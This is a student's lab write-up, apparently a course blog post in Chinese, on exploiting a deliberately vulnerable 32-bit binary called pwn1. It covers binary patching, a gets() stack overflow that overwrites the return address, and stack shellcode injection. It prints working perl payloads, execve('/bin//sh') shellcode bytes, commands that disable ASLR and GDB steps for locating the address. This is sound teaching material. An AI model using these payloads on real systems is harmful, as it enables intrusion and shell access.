20253913 2025-2026-2 《网络攻防实践》第九周作业

《网络攻防实践》第九次作业报告

一、实践内容

1.1 实验对象与基本思路

本次实践对象是一个名为 pwn1 的 Linux 可执行文件。程序正常执行流程比较简单:main 函数调用 foo 函数,foo 函数读取用户输入并将输入内容回显出来。程序中还存在一个名为 getShell 的函数,该函数正常流程下不会被调用,但执行后可以返回一个可用的 Shell。

本次实验的核心目标是改变程序原有控制流,让程序不再只按照 main -> foo -> return 的正常路径执行,而是通过不同方式执行到目标代码。三个实践任务分别对应三种典型思路:

  1. 直接修改可执行文件中的机器指令,使 main 中原本调用 foocall 指令改为调用 getShell
  2. 利用 foo 函数中的栈溢出漏洞,覆盖函数返回地址,使程序返回到 getShell
  3. 将自制 shellcode 放入输入数据中,再通过覆盖返回地址跳转到栈上执行 shellcode。

这三个任务分别对应二进制补丁、返回地址覆盖和 shellcode 注入三类常见的二进制漏洞利用思路。

1.2 ELF 反汇编与十六进制修改

Linux 下的可执行文件通常采用 ELF 格式。对 ELF 文件进行分析时,可以使用 objdump -d 查看程序的反汇编结果。objdump -d 并不是把程序还原成 C 源码,而是把程序中的机器码反汇编为汇编指令。

在任务一中,需要修改可执行文件本身。直接用文本编辑器打开二进制文件会看到大量乱码,因为文件内容不是普通文本。可以使用 vi 配合 xxd 将文件转换成十六进制视图,在十六进制层面定位和修改机器码。修改完成后,必须再通过 :%!xxd -r 将十六进制视图还原成原始二进制格式,否则保存后的文件会变成十六进制文本,无法作为可执行程序正常运行。

本实验中修改的是 x86 的 call rel32 指令。call 指令的目标地址并不是直接以绝对地址写在文件中,而是以“目标地址相对于下一条指令地址的偏移量”保存。因此修改 call foocall getShell 时,需要重新计算相对偏移,而不是直接把 getShell 的绝对地址写入文件。

1.3 常见汇编指令及机器码

实验要求掌握 NOPJNEJEJMPCMP 等常见汇编指令的机器码。需要注意的是,不同操作数形式会影响机器码编码,尤其是 CMP 指令不能简单认为只有一种固定机器码。

汇编指令 常见机器码形式 说明
NOP 90 空操作指令,不改变寄存器和内存状态,常用于填充、对齐或构造 NOP sled。
JE / JZ 短跳转:74 cb;近跳转:0F 84 cd 当零标志位 ZF=1 时跳转。cb 表示 8 位相对偏移,cd 表示 32 位相对偏移。
JNE / JNZ 短跳转:75 cb;近跳转:0F 85 cd 当零标志位 ZF=0 时跳转。
JMP 短跳转:EB cb;近跳转:E9 cd 无条件跳转。短跳转使用 8 位偏移,近跳转使用 32 位偏移。
CMP 取决于操作数形式,例如 83 /7 ib3B /r39 /r CMP 用于比较两个操作数,本质上执行减法但不保存结果,只影响标志位。其机器码与寄存器、立即数、内存寻址方式有关,没有唯一固定编码。

JEJNEJMP 等跳转指令通常也采用相对偏移编码,所以在手工修改机器码时不仅要知道操作码,还要注意偏移量的计算方式和字节序。

1.4 栈溢出与返回地址覆盖

foo 函数中调用了 gets() 读取用户输入。gets() 的问题在于它不会检查输入长度,只要用户持续输入数据,就会继续向目标缓冲区写入内容。若输入超过局部缓冲区的容量,就可能覆盖栈帧中的其他数据,包括 saved ebp 和函数返回地址。

在 32 位 x86 程序中,函数返回地址占 4 字节。函数执行到 ret 指令时,会从当前 esp 指向的位置取出 4 字节作为新的 eip,程序随后跳转到这个地址继续执行。如果通过溢出把返回地址覆盖成 getShell 函数地址,foo 返回时就会跳到 getShell,从而改变执行流。

x86 常用小端序存储多字节数据,即低位字节放在低地址处。例如地址:

0x0804847d

在 payload 中应写为:

\x7d\x84\x04\x08

这也是任务二能够成功覆盖返回地址的关键。

1.5 shellcode 与 NOP sled

Shellcode 是一段可以直接被 CPU 执行的机器指令。在漏洞利用中,攻击者可以把 shellcode 放入输入数据中,再通过控制返回地址让程序跳转到这段输入数据所在的内存区域执行。

由于栈地址定位可能存在轻微误差,常在 shellcode 前面放置一段 NOP 指令,即 NOP sledNOP 指令的机器码是 0x90,执行后不会改变程序状态。如果返回地址跳入 NOP 区域,CPU 会沿着一串 NOP 继续向后执行,最终滑到真正的 shellcode。这可以提高跳转的容错率。

本实验任务三采用的结构是:

填充数据 + 返回地址 + NOP sled + shellcode

其中返回地址指向栈上 NOP sled 或 shellcode 附近,使 ret 指令跳转到输入数据中执行自制 shellcode。

二、实验过程

2.1 实践目标与实验要求

本次实验对象是 pwn1。程序正常流程为 main 调用 foofoo 读取并回显用户输入。程序中还存在一个正常情况下不会执行的 getShell 函数,该函数执行后能够返回可用 Shell。

本次实践内容包括:

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数;
  2. 利用 foo 函数的 BOF 漏洞,构造攻击输入字符串,覆盖返回地址,触发 getShell 函数;
  3. 注入自制 shellcode,并运行该 shellcode。

实验要求包括:

  1. 掌握 NOPJNEJEJMPCMP 汇编指令的机器码;
  2. 掌握反汇编与十六进制编辑方法;
  3. 能正确修改机器指令改变程序执行流程;
  4. 能正确构造 payload 进行 BOF 攻击。

2.2 实验准备

实验开始时,先切换到 root 终端,随后修改主机名,使截图中的主机名满足实验要求。实验要求所编辑文件名包含学号,因此将原始文件 pwn1 重命名为 pwn20253913mjc

执行命令如下:

sudo su
hostname mjc20253913
mv pwn1 pwn20253913mjc
objdump -d pwn20253913mjc

其中,sudo su 用于进入 root 终端;hostname mjc20253913 用于修改当前主机名;mv pwn1 pwn20253913mjc 用于将实验文件重命名;objdump -d pwn20253913mjc 用于查看程序反汇编结果。

image-20260427135631044

image-20260427135954343

image-20260427140228335

2.3 程序关键函数分析

2.3.1 getShell 函数分析

image-20260427140308314

反汇编结果中可以看到,getShell 函数的起始地址为:

0x0804847d

该函数内部调用了 system@plt。从函数逻辑看,调用 system@plt 时传入的参数指向 /bin/sh 或等价 shell 命令字符串。因此,一旦程序执行到 getShell,就可以获得 Shell。

getShell 不是程序正常控制流中的函数。正常运行时,main 调用的是 foo,不会主动调用 getShell。本实验的任务就是通过二进制修改、返回地址覆盖和 shellcode 注入等方法改变控制流。

2.3.2 foo 函数分析

image-20260427140400742

foo 函数地址为:

0x08048491

foo 函数中主要调用了两个函数:gets@pltputs@plt。程序先通过 gets() 读取输入,再通过 puts() 输出输入内容。因此正常运行时,程序只会回显用户输入。

尝试运行该文件,果然只能返回一些用户输入的字符串没有看到更多的响应。

image-20260427140724996

foo 函数中的关键指令包括:

sub    $0x38,%esp
lea    -0x1c(%ebp),%eax
call   8048330 <gets@plt>
call   8048340 <puts@plt>
leave
ret

其中,lea -0x1c(%ebp),%eax 表示输入缓冲区起始位置与 ebp-0x1c 有关。由于 gets() 不检查输入长度,输入内容超过缓冲区后会继续向高地址覆盖,最终可能覆盖 saved ebp 和返回地址。这一位置正是后续 BOF 攻击的漏洞点。

2.3.3 main 函数分析

image-20260427140322587

main 函数中可以看到对 foo 的调用。原始 call 指令为:

80484b5: e8 d7 ff ff ff    call 8048491 <foo>

这里 e8 是 x86 中 call rel32 指令的操作码,后面的 d7 ff ff ff 是 4 字节相对偏移。需要注意,这 4 字节并不是 foo 的绝对地址 0x08048491,而是目标地址相对于下一条指令地址的偏移量。

image-20260427140943813

后续任务一正是通过修改这 4 字节偏移,把 call foo 改成 call getShell

2.4 实践任务一:手工修改可执行文件跳转到 getShell

2.4.1 原理分析

x86 中 call rel32 指令长度为 5 字节,其中:

e8                call 操作码
d7 ff ff ff       4 字节 rel32 相对偏移

偏移量计算公式为:

rel32 = 目标函数地址 - call 指令下一条指令地址

原始 call 指令地址为:

0x080484b5

由于 call rel32 指令长度为 5 字节,所以下一条指令地址为:

0x080484b5 + 5 = 0x080484ba

原始调用目标为 foo

foo 地址 = 0x08048491

原始偏移计算如下:

0x08048491 - 0x080484ba = -0x29 = 0xffffffd7

采用小端序写入文件后,对应字节为:

d7 ff ff ff

现在需要将调用目标改为 getShellgetShell 函数地址为:

0x0804847d

重新计算偏移:

0x0804847d - 0x080484ba = -0x3d = 0xffffffc3

小端序写入文件后,对应字节为:

c3 ff ff ff

因此,任务一中不需要修改整条指令,只需要把原始指令中的偏移字节:

d7 ff ff ff

修改为:

c3 ff ff ff

也就是在十六进制视图中将 d7 修改为 c3。这里应特别注意,-0x3d 的补码形式是 0xffffffc3,不能写成 0xffffff3c

2.4.2 使用 vi 和 xxd 修改二进制文件

使用 vi 打开可执行文件:

vi pwn20253913mjc

image-20260427141512092

直接打开后看到的是乱码。这是因为二进制文件不是普通文本文件。进入 vi 后执行:

:%!xxd

image-20260427142340969

该命令会将当前文件内容转换为十六进制显示。随后搜索需要修改的机器码:

/e8 d7

image-20260427142502767

定位到 e8 d7 ff ff ff 后,将其中的 d7 修改为 c3。修改后的指令字节变为:

e8 c3 ff ff ff

image-20260427142550443

修改完成后,不能直接保存退出,必须先将十六进制视图还原为二进制文件:

:%!xxd -r
:wq

image-20260427142621649

其中,:%!xxd -r 用于把十六进制内容还原为原始二进制,:wq 用于保存并退出。如果跳过 xxd -r 直接保存,文件内容会变成十六进制文本,可执行文件会被破坏。

2.4.3 修改结果验证

修改完成后,再次反汇编验证:

objdump -d pwn20253913mjc

main 函数中可以看到原本的:

call 8048491 <foo>

已经变为:

call 804847d <getShell>

image-20260427142727597

这说明 main 函数中的调用目标已经被成功修改。随后运行程序:

./pwn20253913mjc

image-20260427142929940

程序运行后出现 Shell 提示符,说明程序没有再进入普通的 foo 回显流程,而是直接执行了 getShell。任务一完成。

2.5 实践任务二:利用 foo 函数 BOF 覆盖返回地址触发 getShell

2.5.1 准备新的 pwn 文件

任务二需要使用未被任务一修改过的原始程序文件,因此重新准备一个新的 pwn1 文件,并将其重命名为 pwn20253913mjc2

mv pwn1 pwn20253913mjc2
objdump -d pwn20253913mjc2

image-20260427143934694

本任务关注的重点是 foo 函数,因为漏洞点出现在 foogets() 的调用过程中。

2.5.2 溢出偏移计算

foo 函数反汇编中可以看到:

sub    $0x38,%esp
lea    -0x1c(%ebp),%eax
call   8048330 <gets@plt>

其中,sub $0x38,%esp 表示函数为局部变量等内容预留栈空间;lea -0x1c(%ebp),%eax 表示 gets() 使用的输入缓冲区起始地址为:

ebp - 0x1c

在函数栈帧中:

saved ebp 位于 [ebp]
返回地址位于 [ebp + 4]

因此,从缓冲区起始位置到返回地址的距离为:

(ebp + 4) - (ebp - 0x1c) = 0x1c + 4 = 0x20 = 32 字节

也就是说,前 32 字节用于填充,接下来的 4 字节会覆盖返回地址。

需要覆盖成的目标地址是 getShell 的地址:

0x0804847d

由于 x86 使用小端序,该地址在 payload 中应写为:

\x7d\x84\x04\x08

因此任务二的 payload 结构为:

32 字节填充数据 + getShell 地址

2.5.3 构造 payload 并执行

image-20260427144840955

使用 perl 构造攻击输入,并保存到 input20253913 文件中:

perl -e 'print "mjcmjcmjcmjcmjcmjcmjciukoiiiii77\x7d\x84\x04\x08"' > input20253913

其中,前面的字符串长度为 32 字节,用于填充缓冲区到返回地址之前的位置;最后 4 字节 \x7d\x84\x04\x08 用于覆盖返回地址,使 foo 返回时跳转到 getShell

使用 xxd 查看 payload 文件内容:

xxd input20253913

通过十六进制结果可以检查最后 4 字节是否正确写入为:

7d 84 04 08

image-20260427145117686

随后将该文件作为程序输入:

(cat input20253913;cat) | ./pwn20253913mjc2

这里使用 (cat input20253913; cat),是为了先把 payload 输入给程序,触发溢出并获得 Shell,然后继续保持标准输入打开。否则 Shell 启动后可能因为管道输入结束而立即退出。

执行后程序返回 Shell,说明返回地址已经成功被覆盖为 getShell 地址,任务二完成。

2.6 实践任务三:注入自制 shellcode 并运行

2.6.1 实验思路

任务三与任务二的区别在于:任务二是把返回地址覆盖为程序中已有的 getShell 函数地址,而任务三不再依赖 getShell,而是把 shellcode 放入输入数据中,让程序跳转到栈上执行这段自制机器码。

任务三的基本结构为:

32 字节填充 + 返回地址 + NOP sled + shellcode

其中,返回地址应指向栈中 NOP sled 或 shellcode 附近。程序执行到 ret 指令后,会把该返回地址弹入 eip,从而跳转到栈上执行 shellcode。运行成功后获得 Shell,说明 shellcode 被成功执行。

2.6.2 execstack 安装失败与栈权限检查

任务三原计划使用 execstack 设置程序栈为可执行。执行安装命令:

sudo apt-get update
sudo apt install execstack

实验过程中 execstack 安装失败。随后使用 readelf 检查程序的 GNU_STACK 段权限:

readelf -l ./pwn20253913mjc2 | grep -A1 GNU_STACK

image-20260427180125713

输出结果显示 GNU_STACK 权限为 RWE,其中 R 表示可读,W 表示可写,E 表示可执行。这说明当前程序栈已经具有可执行权限,不需要再依赖 execstack 修改栈权限。

2.6.3 关闭 ASLR

为了让栈地址在实验过程中相对稳定,需要关闭 ASLR。执行命令:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space

image-20260427180604814

cat /proc/sys/kernel/randomize_va_space 输出为 0,说明地址空间随机化已关闭。这样在后续 GDB 调试中,栈地址不会频繁变化,便于计算 shellcode 所在位置。

2.6.4 构造 probe_shellcode 定位返回地址

为了确定返回地址应覆盖为哪个栈地址,先构造一个探测 payload:

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > probe_shellcode

该 payload 结构为:

"A" x 32 + 0x01020304 标记返回地址 + NOP + shellcode

其中,\x04\x03\x02\x01 按小端序在栈中会显示为:

0x01020304

这个值不是最终要跳转的地址,而是一个标记值。它的作用是验证 32 字节填充后的位置是否正好覆盖到了返回地址。

2.6.5 使用 GDB 附加进程并设置断点

image-20260427191229381

先运行程序,并将 probe_shellcode 作为输入:

(cat probe_shellcode; cat) | ./pwn20253913mjc2

随后查看进程:

ps -ef | grep pwn20253913mjc2

实验中观察到目标进程号为:

105452

image-20260427191405607

启动 GDB 并附加到该进程:

gdb
attach 105452

image-20260427191540041

为了在函数真正返回前观察栈顶内容,在 foo 函数的 ret 指令处设置断点:

break *0x080484ae

0x080484aefoo 函数中 ret 指令的位置。在这里断下后,esp 指向的内容就是 ret 即将取出的返回地址。

2.6.6 计算 retaddr

image-20260427191613764

GDB 附加并设置断点后,在 GDB 中输入:

c

让程序继续运行。随后在另一个终端中回车,使程序继续执行到 fooret 断点处。

image-20260427191709641

程序断下后,查看 esp 寄存器:

info r esp

结果显示:

esp = 0xffffceec

image-20260427192258262

继续查看当前栈顶内容:

x/16x 0xffffceec

栈顶第一个 4 字节为:

0x01020304

这正好对应 probe payload 中写入的标记值 \x04\x03\x02\x01。这说明当前 esp 指向的位置就是被覆盖后的返回地址位置。ret 指令执行时,会从 [esp] 取出 4 字节作为新的 eip,然后 esp 增加 4。

当前 [esp] 是标记返回地址,而真正希望执行的 NOP sled 和 shellcode 位于该标记值之后。因此可将返回地址设置为:

retaddr = esp + 4
        = 0xffffceec + 0x4
        = 0xffffcef0

按小端序写入 payload,应表示为:

\xf0\xce\xff\xff

这样当 ret 执行时,程序会跳转到 0xffffcef0 附近,也就是输入数据中的 NOP sled 和 shellcode 区域。

2.6.7 shellcode 指令解析

本实验使用的核心 shellcode 如下:

31 c0
50
68 2f 2f 73 68
68 2f 62 69 6e
89 e3
50
53
89 e1
31 d2
b0 0b
cd 80

逐条解析如下:

31 c0                xor eax,eax

eax 清零。这里常用 xor eax,eax,因为指令短且不会引入空字节。

50                   push eax

将 0 压栈,用作字符串结尾的 \0

68 2f 2f 73 68       push 0x68732f2f
68 2f 62 69 6e       push 0x6e69622f

向栈中压入字符串 /bin//sh。由于 x86 小端序,压栈后的内存中会按正确顺序形成:

/bin//sh

这里使用 /bin//sh 而不是 /bin/sh,是为了按 4 字节对齐构造字符串,两个 / 对 shell 路径没有影响。

89 e3                mov ebx,esp

将当前 esp 赋给 ebx,使 ebx 指向 /bin//sh 字符串。

50                   push eax
53                   push ebx
89 e1                mov ecx,esp

构造参数数组 argv。此时 ecx 指向参数数组,相当于:

argv = { "/bin//sh", NULL }
31 d2                xor edx,edx

edx 清零,表示 envp = NULL

b0 0b                mov al,0xb

将系统调用号设置为 11。在 32 位 Linux 中,execve 的系统调用号是 0x0b

cd 80                int 0x80

触发系统调用,执行:

execve("/bin//sh", argv, NULL)

payload 末尾还包含 \x90\x00\xd3\xff\xff\x00 等附加字节。这些字节不是 execve("/bin//sh") 的核心指令,可理解为实验 payload 中保留的填充、对齐或附加内容。shellcode 成功执行的关键部分是 cd 80 之前构造并触发 execve 系统调用的指令序列。

2.6.8 构造最终 input_shellcode 并执行

根据前面计算出的返回地址 0xffffcef0,构造最终 payload:

perl -e 'print "A" x 32;print "\xf0\xce\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

最终 payload 结构为:

32 字节填充 + 返回地址 0xffffcef0 + NOP sled + execve("/bin//sh") shellcode

运行程序:

(cat input_shellcode; cat) | ./pwn20253913mjc2

image-20260427192809310

执行后出现 Shell 提示符,并能够继续输入命令,说明程序已经跳转到栈上的 shellcode 区域,shellcode 成功执行,任务三完成。

三、学习中遇到的问题及解决

3.1 问题一:call 偏移计算容易出错

问题表现:
在任务一中,容易把 call 指令后面的 4 字节理解成目标函数的绝对地址,误以为只要把 foo 的地址替换成 getShell 的地址即可。计算 getShell 的偏移时,也容易把 0xffffffc3 写成 0xffffff3c

原因分析:
x86 中的 call rel32 使用相对寻址。e8 后面的 4 字节表示目标地址相对于下一条指令地址的偏移,而不是目标函数的绝对地址。并且 call rel32 指令长度为 5 字节,下一条指令地址应为:

0x080484b5 + 5 = 0x080484ba

因此正确计算方式是:

rel32 = 目标函数地址 - 下一条指令地址

调用 getShell 时:

0x0804847d - 0x080484ba = -0x3d = 0xffffffc3

解决方法:
先确认 call 指令地址和下一条指令地址,再按公式计算相对偏移。写入文件时还要按小端序保存,所以 0xffffffc3 在文件中应写为:

c3 ff ff ff

修改后使用 objdump -d 复查,确认反汇编中已经显示为:

call 804847d <getShell>

3.2 问题二:二进制文件用 vi 修改后可能损坏

问题表现:
vi 直接打开可执行文件时,屏幕中出现大量乱码。如果直接编辑或直接保存,可能导致程序无法运行。

原因分析:
可执行文件是二进制格式,不是普通文本文件。vi 直接显示时看到乱码是正常现象。执行 :%!xxd 后看到的是十六进制视图,但此时文件内容在编辑器缓冲区中已经变成文本形式的十六进制显示。如果没有执行 :%!xxd -r 就保存,文件会以十六进制文本形式写回磁盘,原来的 ELF 文件结构会被破坏。

解决方法:
二进制修改时按以下顺序操作:

:%!xxd
/e8 d7

修改 d7c3 后,必须执行:

:%!xxd -r
:wq

保存后再使用:

objdump -d pwn20253913mjc

确认文件仍能被正常反汇编,并检查 main 中的调用目标是否正确。

3.3 问题三:execstack 安装失败与 shellcode 地址不稳定

问题表现:
任务三中原计划安装 execstack 设置栈可执行,但在 Kali 环境中安装失败。此外,shellcode 放在栈上执行时,如果栈地址变化,返回地址就难以稳定命中 shellcode。

原因分析:
shellcode 注入需要两个条件:一是栈区域可执行,二是返回地址能准确跳到 shellcode 所在位置。execstack 安装失败后,不能直接假设栈不可执行,而应检查 ELF 的 GNU_STACK 段权限。另一方面,ASLR 会随机化栈地址,使同一 payload 在不同运行中可能对应不同地址。

解决方法:
先使用:

readelf -l ./pwn20253913mjc2 | grep -A1 GNU_STACK

检查栈权限。结果显示 GNU_STACKRWE,说明栈已经可执行,不需要再安装 execstack

然后关闭 ASLR:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space

再构造 probe payload,用 0x01020304 标记返回地址位置。通过 GDB 在 fooret 指令处断下,查看 esp 和栈顶内容,确认返回地址位置后计算:

retaddr = 0xffffceec + 0x4 = 0xffffcef0

最后将返回地址写成小端序 \xf0\xce\xff\xff,构造最终 shellcode payload。

四、学习感想和体会

这次实验中,任务一让我对 call 的相对寻址有了更具体的理解。之前看到 call 8048491 <foo> 时,很容易把后面的地址当成文件里直接保存的目标地址。实际修改时才发现,文件中保存的是 d7 ff ff ff 这样的相对偏移。只有把“下一条指令地址”也纳入计算,才能得到正确的机器码。

任务二让我更清楚地理解了栈帧中缓冲区、saved ebp 和返回地址之间的关系。溢出并不是简单输入一个很长的字符串,而是要知道从缓冲区起始位置到返回地址之间相差多少字节。本实验中,缓冲区从 ebp-0x1c 开始,返回地址在 ebp+4,所以覆盖返回地址的偏移是 32 字节。这个计算如果错一两个字节,payload 就不能稳定生效。

任务三中最关键的部分是用 GDB 验证覆盖结果。通过 0x01020304 作为标记值,可以直接看到 retesp 指向的位置是否正好是返回地址。这个方法比单纯猜地址可靠很多。info r espx/16x 这两个命令也能帮助把抽象的栈结构和真实内存内容对应起来。

这次实验还暴露出工具和环境对漏洞利用的影响。原计划使用 execstack,但实际环境中安装失败。后面通过 readelf 检查 GNU_STACK 权限,确认栈已经是 RWE,才继续进行 shellcode 注入。这个过程说明实验中不能只依赖固定步骤,遇到工具失败时要回到原理本身,确认真正需要满足的条件是什么。

从安全编程角度看,gets() 的问题非常明显。它不检查输入长度,导致用户输入可以越过缓冲区边界覆盖控制数据。只要返回地址可控,程序执行流就可能被完全改变。相比单纯知道“gets 不安全”,通过这次实验可以更直观看到它为什么危险,以及返回地址被覆盖后程序会怎样跳转执行。

posted @ 2026-04-29 14:25  4eversinc2  阅读(8)  评论(0)    收藏  举报